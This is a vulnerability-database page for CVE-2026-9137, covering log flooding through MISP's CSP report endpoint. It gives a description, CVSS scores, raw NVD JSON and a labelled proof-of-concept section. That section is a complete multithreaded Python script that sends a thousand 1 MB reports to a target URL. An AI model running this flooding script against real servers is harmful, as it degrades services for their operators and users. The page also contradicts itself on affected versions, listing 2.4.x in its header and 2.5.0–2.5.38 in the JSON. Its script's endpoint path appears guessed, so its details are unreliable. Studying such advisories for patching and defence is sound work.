Security Vulnerability Report
中文
CVE-2026-9137 CVSS 7.5 HIGH

CVE-2026-9137

Published: 2026-05-20 20:16:46
Last Modified: 2026-06-02 16:34:32
Source: 5a6e4751-2f3f-4070-9419-94fb35b644e8

Description

The CSP report endpoint in MISP intended to limit logged CSP reports to 1 KB but incorrectly allowed reports up to 1 MB before truncation. On deployments where the endpoint is reachable by untrusted clients, this could allow attackers to generate excessive log volume and contribute to resource exhaustion or log flooding.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:* - VULNERABLE
MISP < 2.4.171 (修复版本)
MISP 2.4.x 系列在 02932cccab230b295afcaf5aa05e363d30db0ec9 提交之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9137 PoC - MISP CSP Report Endpoint Flooding # This PoC demonstrates the CSP report flooding vulnerability in MISP # The endpoint incorrectly allows CSP reports up to 1MB instead of 1KB import requests import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-misp-instance/api/csp-report" # Modify to target URL NUM_REQUESTS = 1000 THREADS = 10 def generate_large_csp_report(size_kb=1024): """Generate a large CSP report of specified size (default 1MB)""" # Create a large CSP violation report report = { "csp-report": { "document-uri": "http://evil-attacker.com/malicious-page.html", "referrer": "http://evil-attacker.com/", "blocked-uri": "http://evil-attacker.com/malicious-script.js", "violated-directive": "script-src", "original-policy": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted-site.com", "disposition": "enforce" } } # Add padding to reach target size padding = "A" * (size_kb * 1024 - len(str(report))) report["csp-report"]["extra-data"] = padding return report def send_csp_report(session, url): """Send a single CSP report to the target endpoint""" try: report = generate_large_csp_report(1024) # 1MB report headers = { "Content-Type": "application/csp-report", "User-Agent": "Mozilla/5.0 (compatible; CSP-Reports)" } response = session.post(url, json=report, headers=headers, timeout=30) return response.status_code except Exception as e: print(f"Error: {e}") return None def main(): print(f"[*] CVE-2026-9137 PoC - MISP CSP Report Flooding") print(f"[*] Target: {TARGET_URL}") print(f"[*] Sending {NUM_REQUESTS} requests with {THREADS} threads") session = requests.Session() start_time = time.time() with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = [executor.submit(send_csp_report, session, TARGET_URL) for _ in range(NUM_REQUESTS)] completed = 0 for future in as_completed(futures): status = future.result() completed += 1 if completed % 100 == 0: print(f"[+] Progress: {completed}/{NUM_REQUESTS}") elapsed = time.time() - start_time print(f"[+] Completed in {elapsed:.2f} seconds") print(f"[+] Estimated data sent: {NUM_REQUESTS} MB") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9137", "sourceIdentifier": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "published": "2026-05-20T20:16:46.177", "lastModified": "2026-06-02T16:34:32.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSP report endpoint in MISP intended to limit logged CSP reports to 1 KB but incorrectly allowed reports up to 1 MB before truncation. On deployments where the endpoint is reachable by untrusted clients, this could allow attackers to generate excessive log volume and contribute to resource exhaustion or log flooding."}], "metrics": {"cvssMetricV40": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "2.5.38", "matchCriteriaId": "FA00E7DB-EF07-49DE-8103-33FEADA77C89"}]}]}], "references": [{"url": "https://github.com/MISP/MISP/commit/02932cccab230b295afcaf5aa05e363d30db0ec9", "source": "5a6e4751-2f3f-4070-9419-94fb35b644e8", "tags": ["Patch"]}]}}